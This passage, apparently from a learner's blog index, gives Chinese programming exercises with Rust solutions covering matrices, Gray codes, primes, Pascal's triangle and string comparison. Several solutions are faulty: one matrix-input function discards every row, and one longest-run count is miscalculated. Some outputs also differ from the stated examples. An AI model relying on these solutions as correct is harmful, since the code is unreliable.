mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let mut vec: Vec\u0026lt;i32\u0026gt; = input 7 .trim() 8 .split_whitespace() 9 .map(|x| x.parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Failed to parse input\u0026#34;)) 10 .collect::\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;(); 11 vec.resize(num as usize, 0); 12 return vec; 13} 14 15fn main() { 16 let mut input = String::new(); 17 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 18 let num = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Failed to parse input\u0026#34;); 19 20 let vec_a = input_vec(num); 21 let vec_b = input_vec(num); 22 23 let result: f64 = vec_a 24 .iter() 25 .zip(vec_b.iter()) 26 .map(|(\u0026amp;x, \u0026amp;y)| (x - y).pow(2) as f64) 27 .sum::\u0026lt;f64\u0026gt;() 28 .sqrt(); 29 println!(\u0026#34;{}\u0026#34;, result); 30} 从键盘接收一个数字,为当前作业执行需要的秒数,将该秒数整理成天小时分秒的形式。 example:\ninput:\n1000\noutput:\nTime is:0days,0hours,16minutes and 40 seconds.\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let num = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let days = num / 86400; 9 let hours = (num % 86400) / 3600; 10 let minutes = (num % 3600) / 60; 11 let seconds = num % 60; 12 13 println!( 14 \u0026#34;{} days, {} hours, {} minutes, {} seconds\u0026#34;, 15 days, hours, minutes, seconds 16 ); 17} 从键盘输入两个空格隔开的四位数,找到所有满足特殊条件的四位数字。例如1234是一个特殊的四位数,它各个位数之和为10,编程求出所有给定范围里所有特殊的四位数。输出的数字顺序从小到大。输出格式如图所示。每输出5个数字换行一次。 example:\ninput:\n1000 1500\noutput:\n1009 1018 1027 1036 1045\n1054 1063 1072 1081 1090\n1108 1117 1126 1135 1144\n1153 1162 1171 1180 1207\n1216 1225 1234 1243 1252\n1261 1270 1306 1315 1324\n1333 1342 1351 1360 1405\n1414 1423 1432 1441 1450\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let nums: Vec\u0026lt;i32\u0026gt; = input 7 .trim() 8 .split_whitespace() 9 .map(|s| s.parse().unwrap()) 10 .collect(); 11 12 let a = nums[0]; 13 let b = nums[1]; 14 15 let mut row: Vec\u0026lt;i32\u0026gt; = Vec::new(); 16 17 for i in a..=b { 18 if i.to_string() 19 .chars() 20 .map(|c| c.to_digit(10).unwrap() as i32) 21 .sum::\u0026lt;i32\u0026gt;() 22 == 10 23 { 24 if row.len() == 5 { 25 println!( 26 \u0026#34;{}\u0026#34;, 27 row.iter() 28 .map(|\u0026amp;x| x.to_string()) 29 .collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;() 30 .join(\u0026#34; \u0026#34;) 31 ); 32 row.clear(); 33 } 34 row.push(i); 35 } 36 } 37 println!( 38 \u0026#34;{}\u0026#34;, 39 row.iter() 40 .map(|\u0026amp;x| x.to_string()) 41 .collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;() 42 .join(\u0026#34; \u0026#34;) 43 ); 44} 请编写一个程序,实现如下功能:读取一个整数序列,删除序列中连续重复数,输出结果序列。 example:\ninput:\n1 2 2 1 5 1 1 7 7 7 7 1 1 1 1 1 1\noutput:\n1 2 1 5 1 7 1\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let nums: Vec\u0026lt;i32\u0026gt; = input 7 .trim() 8 .split_whitespace() 9 .map(|s| s.parse().unwrap()) 10 .collect(); 11 let mut result: Vec\u0026lt;String\u0026gt; = vec![nums[0].to_string()]; 12 13 for i in 1..nums.len() { 14 if nums[i].to_string() != result.last().unwrap().to_string() { 15 result.push(nums[i].to_string()); 16 } 17 } 18 19 println!(\u0026#34;{}\u0026#34;, result.join(\u0026#34; \u0026#34;)); 20} 请编写程序,实现以下功能,从键盘输入一个n,创建一个n行n列的布尔型方阵。满足以下条件:如果i和j互素(即两者没有共同因子),则a[i][j]为1,否则为0。打印输出该布尔型矩阵。[注意]:0与任何数均不互素。 example:\ninput:\n3\noutput:\n0 0 0\n0 1 1\n0 1 0\n1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 return a; 6 } else { 7 return gcd(b, a % b); 8 } 9} 10 11fn main() { 12 let mut input = String::new(); 13 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 14 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 15 let mut row: Vec\u0026lt;String\u0026gt; = Vec::new(); 16 17 for i in 0..n { 18 row.clear(); 19 for j in 0..n { 20 if i == 0 \u0026amp;\u0026amp; j == 1 || i == 1 \u0026amp;\u0026amp; j == 0 { 21 row.push(\u0026#34;0\u0026#34;.to_string()); 22 } else if gcd(i, j) == 1 { 23 row.push(\u0026#34;1\u0026#34;.to_string()); 24 } else { 25 row.push(\u0026#34;0\u0026#34;.to_string()); 26 } 27 } 28 println!(\u0026#34;{}\u0026#34;, row.join(\u0026#34; \u0026#34;)); 29 } 30} 从键盘输入一个n,代表布尔矩阵的行数。依次读入两个n行空格隔开的数字字符串,将两个nn的矩阵转换成布尔矩阵[注意]:一定要先转换成布尔矩阵。即将非0的数字变为1,数字为0保持不变。从键盘读入一个符号“+”或“”,进行矩阵加法和矩阵乘法运算,[注意]:这里的“+”或“*”代表布尔运算的逻辑加和逻辑乘,逻辑加的运算规则为:1+1 = 1 , 1+ 0 = 1 , 0 + 1 = 1, 0 + 0 = 0,逻辑乘的运算规则为 1 * 1 = 1, 1 * 0 = 0,0 * 1 = 0, 0 * 0 = 0。输出结果同样为一个布尔型矩阵。(假设每一行录入的空格隔开的数字字符均为n个) example:\ninput:\n2\n1 0\n1 1\n0 0\n1 0\n+\noutput:\n1 0\n1 1\ninput:\n2\n1 0\n1 1\n0 0\n1 0\n*\noutput:\n0 0\n1 0\n1use std::io::stdin; 2 3fn mat_add(mat_a: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt;, mat_b: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt;, num: usize) -\u0026gt; Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt; { 4 let mut result = vec![vec![false; num]; num]; 5 for i in 0..mat_a.len() { 6 for j in 0..mat_a[0].len() { 7 result[i][j] = mat_a[i][j] || mat_b[i][j]; 8 } 9 } 10 result 11} 12 13fn mat_mul(mat_a: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt;, mat_b: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt;, num: usize) -\u0026gt; Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt; { 14 let mut result = vec![vec![false; num]; num]; 15 for i in 0..mat_a.len() { 16 for j in 0..mat_b[0].len() { 17 for k in 0..mat_b.len() { 18 result[i][j] = result[i][j] || (mat_a[i][k] \u0026amp;\u0026amp; mat_b[k][j]); 19 } 20 } 21 } 22 result 23} 24 25fn input_mat(num: usize) -\u0026gt; Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt; { 26 let mut input = String::new(); 27 let mut mat: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt; = Vec::new(); 28 for _ in 0..num { 29 stdin().read_line(\u0026amp;mut input).unwrap(); 30 let row: Vec\u0026lt;bool\u0026gt; = input.trim().split_whitespace().map(|b| b != \u0026#34;0\u0026#34;).collect(); 31 input.clear(); 32 } 33 mat 34} 35 36fn output_mat(mat: Vec\u0026lt;Vec\u0026lt;bool\u0026gt;\u0026gt;) { 37 for row in mat { 38 let row_str = row 39 .iter() 40 .map(|b| if *b { \u0026#34;1\u0026#34;.to_string() } else { \u0026#34;0\u0026#34;.to_string() }) 41 .collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;() 42 .join(\u0026#34; \u0026#34;); 43 println!(\u0026#34;{}\u0026#34;, row_str); 44 } 45} 46 47fn main() { 48 let mut input = String::new(); 49 stdin().read_line(\u0026amp;mut input).unwrap(); 50 let num: usize = input.trim().parse().unwrap(); 51 input.clear(); 52 53 let mat_a = input_mat(num); 54 let mat_b = input_mat(num); 55 56 stdin().read_line(\u0026amp;mut input).unwrap(); 57 let op: char = input.trim().chars().next().unwrap(); 58 59 match op { 60 \u0026#39;+\u0026#39; =\u0026gt; { 61 output_mat(mat_add(mat_a, mat_b, num)); 62 } 63 \u0026#39;*\u0026#39; =\u0026gt; { 64 output_mat(mat_mul(mat_a, mat_b, num)); 65 } 66 _ =\u0026gt; { 67 return; 68 } 69 } 70} 用递归的方式生成n位的格雷码。所谓格雷码的规则为:对于n+1位的编码,先对n位编码按照顺序前面依次加0,生成0开头的n+1位编码,再对n位编码逆序,前面加1,生成1开头的n+1位编码。例如:一位编码为0和1,则二位编码,首先在0和1前面加0,生成00,01两个编码,然后对0和1进行逆序,得到1和0,前面加1,得到新的两位编码为11,10。从而生成所有的二位编码。 从键盘输出一个n,生成n位所有编码,并将编码存储在一个一维数组中输出。\nexample:\ninput:\n1\noutput:\n['0', '1']\ninput:\n2\noutput:\n['00', '01', '11', '10']\n1use std::io::stdin; 2 3fn gray(n: usize) -\u0026gt; Vec\u0026lt;String\u0026gt; { 4 if n == 0 { 5 return vec![String::new()]; 6 } 7 8 let prev_gray_codes = gray(n - 1); 9 let mut gray_codes: Vec\u0026lt;String\u0026gt; = Vec::new(); 10 11 for code in prev_gray_codes.iter() { 12 gray_codes.push(format!(\u0026#34;0{}\u0026#34;, code)); 13 } 14 15 for code in prev_gray_codes.iter().rev() { 16 gray_codes.push(format!(\u0026#34;1{}\u0026#34;, code)); 17 } 18 19 gray_codes 20} 21 22fn main() { 23 let mut input = String::new(); 24 stdin().read_line(\u0026amp;mut input).unwrap(); 25 let n: usize = input.trim().parse().unwrap(); 26 let gray_codes = gray(n); 27 println!(\u0026#34;{:?}\u0026#34;, gray_codes); 28} 《九章算术》是我国古代数学名著,卷七中有题:今有人合伙买羊,每人出5钱,会差45钱,每人出7钱会差3钱,问,合伙人数和钱数各是多少? input:\nNone\noutput:\npeople:XX\nmoney:XX\n1fn main() { 2 let mut people: i32 = 0; 3 4 loop { 5 people += 1; 6 if people * 5 + 45 == people * 7 + 3 { 7 println!(\u0026#34;people: {people}\u0026#34;); 8 println!(\u0026#34;money: {}\u0026#34;, people * 7 + 3); 9 break; 10 } 11 } 12} 问题描述 给定两个仅由大写字母或小写字母组成的字符串(长度介于1到10之间),它们之间的关系是以下4中情况之一: 1:两个字符串长度不等。比如 Beijing 和 Hebei 2:两个字符串不仅长度相等,而且相应位置上的字符完全一致(区分大小写),比如 Beijing 和 Beijing 3:两个字符串长度相等,相应位置上的字符仅在不区分大小写的前提下才能达到完全一致(也就是说,它并不满足情况2)。比如 beijing 和 BEIjing 4:两个字符串长度相等,但是即使是不区分大小写也不能使这两个字符串一致。比如 Beijing 和 Nanjing 编程判断输入的两个字符串之间的关系属于这四类中的哪一类,给出所属的类的编号。\n输入格式\n包括两行,每行都是一个字符串\n输出格式\n仅有一个数字,表明这两个字符串的关系编号\n样例输入\nBEIjing\nbeiJing\n样例输出\n3\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let str_a = input.trim().to_string(); 7 input.clear(); 8 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 9 let str_b = input.trim().to_string(); 10 11 if str_a.len() != str_b.len() { 12 println!(\u0026#34;1\u0026#34;); 13 } else if str_a == str_b { 14 println!(\u0026#34;2\u0026#34;); 15 } else if str_a.to_lowercase() == str_b.to_lowercase() { 16 println!(\u0026#34;3\u0026#34;); 17 } else { 18 println!(\u0026#34;4\u0026#34;); 19 } 20} 连续字符,输入一个字符串,求出此字符串中最长连续字符的长度。 例:\ninput:\nabbcccddddeeeeedcba\noutput:\n5\ninput:\nhooraaaaaaaaaaay\nouput:\n11\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let s = input.trim().to_string(); 7 8 let mut count = 0; 9 let mut maxi = i32::MIN; 10 11 for i in 1..s.len() { 12 if s.chars().nth(i) == s.chars().nth(i - 1) { 13 count += 1; 14 } else if count \u0026gt; maxi { 15 maxi = count; 16 count = 1; 17 } 18 } 19 println!(\u0026#34;{maxi}\u0026#34;); 20} 给你一个整数 n(n\u0026gt;=2) ,请你判断 n 是否为 丑数 。如果是,返回 True ;否则,返回False 。 丑数 就是只包含质因数 2、3 和或 5 的正整数。\ninput:\n6\noutput:\nTrue\ninput:\n14\noutput:\nFalse\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let mut num = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 while num % 2 == 0 { 9 num /= 2; 10 } 11 while num % 3 == 0 { 12 num /= 3; 13 } 14 while num % 5 == 0 { 15 num /= 5; 16 } 17 18 println!(\u0026#34;{}\u0026#34;, num == 1); 19} Collatz猜想是一个未经证明的数学猜想,它说以下算法总是停止: 给定一个整数输入:\n如果数字是1,停止。\n如果数字是偶数,就除以2。使用这个新值作为输入并重新启动。\n如果数字是奇数,就乘以3再加1。使用这个新值作为输入并重新启动。\n从键盘输入一个n,使用递归完成这个collatz程序。\nexample:\ninput:\n12\noutput:\n12\n6\n3\n10\n5\n16\n8\n4\n2\n1\ninput:\n11\noutput:\n11\n34\n17\n52\n26\n13\n40\n20\n10\n5\n16\n8\n4\n2\n1\n1use std::io::stdin; 2 3fn collatz(n: i32) { 4 println!(\u0026#34;{n}\u0026#34;); 5 if n == 1 { 6 return; 7 } else if n % 2 == 0 { 8 collatz(n / 2); 9 } else { 10 collatz(3 * n + 1); 11 } 12} 13 14fn main() { 15 let mut n = String::new(); 16 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 17 let n: i32 = n.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 18 collatz(n); 19} ","link":"https://jackgdn.github.io/post/rust3/","section":"post","tags":["Rust"],"title":"Rust 练习(三)"},{"body":" 从键盘输入一个n,代表一维数组包含的元素数,从键盘读入一个由数字字符和空格组成的字符串,并将它们转换成int型存入到一维数组中。如果得到的数字不足n位,剩余的几个数组元素由0补足,如果超过n位截取前n位组成的数组,并输出该数组。 example:\ninput:\n5\n2 3 1 7 10 15\noutput:\n[2, 3, 1, 7, 10]\ninput:\n4\n10 2\noutput:\n[10, 2, 0, 0]\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 input.clear(); 9 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 10 let mut nums: Vec\u0026lt;i32\u0026gt; = input 11 .split_whitespace() 12 .map(|s| s.parse().expect(\u0026#34;Failed to parse input\u0026#34;)) 13 .collect(); 14 15 if nums.len() \u0026gt;= n as usize { 16 println!(\u0026#34;{:?}\u0026#34;, \u0026amp;nums[..n as usize]); 17 } else { 18 nums.extend(vec![0; n as usize - nums.len()]); 19 println!(\u0026#34;{:?}\u0026#34;, nums); 20 } 21} 从键盘接收一个由数字字符和空格组成的字符串,将其转换为整型数据存储在一维数组中。判断该一维数组中是否存在重复元素,如果有重复元素,输出False,否则输出True。 example:\ninput:\n3 2 1 7 5 6 8 0\noutput:\nTrue\ninput:\n2 2 1 3 4 3 8 6\noutput:\nFalse\n1use std::collections::HashSet; 2use std::io::stdin; 3 4fn main() { 5 let mut input = String::new(); 6 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 7 let nums: Vec\u0026lt;i32\u0026gt; = input 8 .split_whitespace() 9 .map(|s| s.parse().expect(\u0026#34;Failed to parse input\u0026#34;)) 10 .collect(); 11 12 let nums_set: HashSet\u0026lt;i32\u0026gt; = nums.iter().cloned().collect(); 13 if nums_set.len() == nums.len() { 14 println!(\u0026#34;True\u0026#34;); 15 } else { 16 println!(\u0026#34;False\u0026#34;); 17 } 18} 从键盘输入一个n,创建一个n * n的二维数组,在二维数组中,第0行的值为1,第1行的值为2,以此类推,第n-1的值为n。输出此二维数组。 example:\ninput:\n5\noutput:\n[[1, 1, 1, 1, 1], [2, 2, 2, 2, 2], [3, 3, 3, 3, 3], [4, 4, 4, 4, 4], [5, 5, 5, 5, 5]]\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).unwrap(); 6 let num: i32 = input.trim().parse().unwrap(); 7 8 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 9 10 for i in 0..num { 11 mat.push(vec![i + 1; num as usize]); 12 } 13 println!(\u0026#34;{:?}\u0026#34;, mat); 14} 输出第三题得到的二维数组的转置数组。 example:\ninput:\n5\noutput:\n[[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]]\ninput:\n4\noutput:\n[[1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4]]\n1use std::io::stdin; 2 3fn get_mat(n: i32) -\u0026gt; Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; { 4 5 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 6 7 for i in 0..n { 8 mat.push(vec![i + 1; n as usize]); 9 } 10 mat 11} 12 13fn main() { 14 let mut input = String::new(); 15 stdin().read_line(\u0026amp;mut input).unwrap(); 16 let num: i32 = input.trim().parse().unwrap(); 17 18 let mat = get_mat(num); 19 let mut result: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = vec![vec![0; num as usize]; num as usize]; 20 for i in 0..num as usize { 21 for j in 0..num as usize { 22 result[j][i] = mat[i][j]; 23 } 24 } 25 26 println!(\u0026#34;{:?}\u0026#34;, result); 27 28} 从键盘输入一个n,代表二维数组的行和列,依次读入n行由空格和数字字符组成的字符串,将字符串中的每个数字字符转换成整形数据,存成二维数组的一行,如果输入的数字字符数目少于n个,以0补足,如果超过n个,截取前n位。 example:\ninput:\n5\n3 2 1 7 6 8\n11 2 4 12 5\n4 3 1\n7 6 5\n1\noutput:\n[[3, 2, 1, 7, 6], [11, 2, 4, 12, 5], [4, 3, 1, 0, 0], [7, 6, 5, 0, 0], [1, 0, 0, 0, 0]]\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 input.clear(); 8 9 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 10 for _ in 0..n { 11 input.clear(); 12 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 13 let mut row: Vec\u0026lt;i32\u0026gt; = input 14 .trim() 15 .split_whitespace() 16 .map(|x| x.parse().expect(\u0026#34;Failed to parse input\u0026#34;)) 17 .collect(); 18 if row.len() \u0026gt;= n as usize { 19 mat.push(row[..n as usize].to_vec()); 20 } else { 21 row.extend(vec![0; n as usize - row.len()]); 22 mat.push(row); 23 } 24 } 25 println!(\u0026#34;{:?}\u0026#34;, mat); 26} 以第五题方法读入一个n * n的二维数组,输出该二维数组与其转置数组乘积后得到的新数组。 example:\ninput:\n5\n3 2 1 7 6 8\n11 2 4 12 5\n4 3 1\n7 6 5\n1\noutput:\n[[99, 155, 19, 38, 3], [155, 310, 54, 109, 11], [19, 54, 26, 51, 4], [38, 109, 51, 110, 7], [3, 11, 4, 7, 1]]\n1use std::io::stdin; 2 3fn get_mat(n: i32) -\u0026gt; Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; { 4 let mut input = String::new(); 5 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 6 for _ in 0..n { 7 input.clear(); 8 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 9 let mut row: Vec\u0026lt;i32\u0026gt; = input 10 .trim() 11 .split_whitespace() 12 .map(|x| x.parse().expect(\u0026#34;Failed to parse input\u0026#34;)) 13 .collect(); 14 if row.len() \u0026gt;= n as usize { 15 mat.push(row[..n as usize].to_vec()); 16 } else { 17 row.extend(vec![0; n as usize - row.len()]); 18 mat.push(row); 19 } 20 } 21 return mat; 22} 23 24fn get_transpose(mat: \u0026amp;Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;, n: i32) -\u0026gt; Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; { 25 let mut result: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = vec![vec![0; n as usize]; n as usize]; 26 for i in 0..n as usize { 27 for j in 0..n as usize { 28 result[j][i] = mat[i][j]; 29 } 30 } 31 return result; 32} 33 34fn mat_multiply(mat_a: \u0026amp;Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;, mat_b: \u0026amp;Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;, n: i32) -\u0026gt; Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; { 35 let mut result: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = vec![vec![0; n as usize]; n as usize]; 36 for i in 0..n as usize { 37 for j in 0..n as usize { 38 for k in 0..n as usize { 39 result[i][j] += mat_a[i][k] * mat_b[k][j]; 40 } 41 } 42 } 43 return result; 44} 45 46fn main() { 47 let mut input = String::new(); 48 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 49 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 50 51 let original = get_mat(n); 52 let transposed = get_transpose(\u0026amp;original, n); 53 54 let result: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = mat_multiply(\u0026amp;original, \u0026amp;transposed, n); 55 56 println!(\u0026#34;{:?}\u0026#34;, result); 57} 从键盘读入一个n,代表n位同学,依次读入n组由数字字符和空格组成的字符串,将其存储为一个 3 * n的二维数组。二维数组中每一项为一个浮点型数据,代表一位同学同一门课的三次考试的成绩(test1,test2,test3)。给定一个一维数组,代表每次考试的权值,该一维数组为[0.25, 0.25, 0.5],计算每个同学的最终得分,并输出统计这n个同学最终成绩的一维数组。(每个同学的成绩保留小数点后两位小数)。 example:\ninput:\n4\n87 75 60\n66 98 100\n70 65 72\n67 77.5 80\noutput:\n[70.5, 91.0, 69.75, 76.12]\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 input.clear(); 8 9 let mut result: Vec\u0026lt;f64\u0026gt; = Vec::new(); 10 for _ in 0..n { 11 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 12 let scores: Vec\u0026lt;f64\u0026gt; = input 13 .split_whitespace() 14 .map(|s| s.parse().unwrap()) 15 .collect(); 16 let weighted_sum: f64 = scores 17 .iter() 18 .zip(vec![0.25, 0.25, 0.5].iter()) 19 .map(|(\u0026amp;w, \u0026amp;v)| format!(\u0026#34;{:.2}\u0026#34;, w * v).parse::\u0026lt;f64\u0026gt;().unwrap()) 20 .sum(); 21 result.push(weighted_sum); 22 input.clear(); 23 } 24 println!(\u0026#34;{:?}\u0026#34;, result); 25} 计算小于n的最大素数。输入n的值小于等于2时,输出None input:\n100\noutput:\n97\ninput:\n200\noutput:\n199\ninput:\n2\noutput:\nNone\n1use std::io::stdin; 2 3fn is_prime(n: i32) -\u0026gt; bool { 4 if n \u0026lt;= 1 { 5 return false; 6 } else if n == 2 { 7 return true; 8 } else { 9 for i in 2..(n as f64).sqrt() as i32 + 1 { 10 if n % i == 0 { 11 return false; 12 } 13 } 14 return true; 15 } 16} 17 18fn main() { 19 let mut input = String::new(); 20 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 21 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 22 23 if n \u0026lt;= 2 { 24 println!(\u0026#34;None\u0026#34;); 25 } else { 26 for i in (3..n).rev() { 27 if is_prime(i) { 28 println!(\u0026#34;{i}\u0026#34;); 29 break; 30 } 31 } 32 } 33} 从键盘输入一个n,代表打印杨辉三角的行数,且n \u0026gt;=3 ,编写一个程序,打印杨辉三角。 input:\n3\noutput:\n[1]\n[1, 1]\n[1, 2, 1]\ninput:\n5\noutput:\n[1]\n[1, 1]\n[1, 2, 1]\n[1, 3, 3, 1]\n[1, 4, 6, 4, 1]\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let mut current: Vec\u0026lt;i32\u0026gt; = vec![1]; 9 10 println!(\u0026#34;{:?}\u0026#34;, current); 11 if n == 1 { 12 return; 13 } 14 15 for i in 2..n + 1 { 16 let previous = current.clone(); 17 current = vec![1]; 18 for j in 1..(i - 1) as usize { 19 current.push(previous[j - 1] + previous[j]); 20 } 21 current.push(1); 22 println!(\u0026#34;{:?}\u0026#34;, current); 23 } 24} 编写一个函数能够判断两个字符串的最长前缀码,比如:distance和distinct的最长 前缀码为dist,如果输入的两个字符串没有相同的前缀码则返回None。\ninput:\ndistance\ndistinct\noutput:\ndist\ninput:\nstudent\nteacher\noutput\nNone\ninput:\nversion\nversus\noutput:\nvers\n1use std::cmp::min; 2use std::io::stdin; 3 4fn main() { 5 let mut input = String::new(); 6 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 7 let word_a: String = input.trim().to_string(); 8 input.clear(); 9 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 10 let word_b: String = input.trim().to_string(); 11 12 let mut result = String::new(); 13 let mut matched = true; 14 let mut i = 0; 15 while matched \u0026amp;\u0026amp; i \u0026lt; min(word_a.len(), word_b.len()) { 16 if word_a.chars().nth(i).unwrap() == word_b.chars().nth(i).unwrap() { 17 result.push(word_a.chars().nth(i).unwrap()); 18 i += 1; 19 } else { 20 matched = false; 21 } 22 } 23 24 if i == 0 { 25 println!(\u0026#34;None\u0026#34;); 26 } else { 27 println!(\u0026#34;{}\u0026#34;, result); 28 } 29} 因式分解,输入一个数,判断其实素数还是合数,如果是合数,将所有的因式分解打印出来,如:12=1*12 12=2*6 12=3*4 如果是素数:\ninput:\n17\noutput:\n17 is Prime\ninput:\n20\noutput:\n20=1*20 20=2*10 20=4*5\n1use std::io::stdin; 2 3fn is_prime(n: i32) -\u0026gt; bool { 4 if n \u0026lt;= 1 { 5 return false; 6 } else if n == 2 { 7 return true; 8 } else { 9 for i in 2..(n as f64).sqrt() as i32 + 1 { 10 if n % i == 0 { 11 return false; 12 } 13 } 14 return true; 15 } 16} 17 18fn main() { 19 let mut input = String::new(); 20 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 21 let n = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Invalid input\u0026#34;); 22 23 if is_prime(n) { 24 println!(\u0026#34;{n} is prime\u0026#34;); 25 return; 26 } 27 28 for i in 1..(n as f64).sqrt() as i32 + 1 { 29 let p: f64 = n as f64 / i as f64; 30 if p.fract() == 0.0 { 31 print!(\u0026#34;{}={}*{} \u0026#34;, n, i, p as i32); 32 } 33 } 34} 编写函数,接收一个正偶数为参数,输出两个素数,并且这两个素数之和等于原来的正偶数。如果存在多组符合条件的素数,则全部输出。 如果输入的不是正偶数,打印输入错误。\ninput:\n20\noutput:\n20=3+17\n20=7+13\n20=13+7\n20=17+3\ninput:\n9\noutput:\ninput error!\n1use std::io::stdin; 2 3fn is_prime(n: i32) -\u0026gt; bool { 4 if n \u0026lt;= 1 { 5 return false; 6 } else if n == 2 { 7 return true; 8 } else { 9 for i in 2..(n as f64).sqrt() as i32 + 1 { 10 if n % i == 0 { 11 return false; 12 } 13 } 14 return true; 15 } 16} 17 18fn main() { 19 let mut input = String::new(); 20 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 21 let n = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Invalid input\u0026#34;); 22 23 if n % 2 != 0 { 24 println!(\u0026#34;Input Error!\u0026#34;); 25 return; 26 } 27 28 for i in 3..n - 2 { 29 if is_prime(i) \u0026amp;\u0026amp; is_prime(n - i) { 30 println!(\u0026#34;{}={}+{}\u0026#34;, 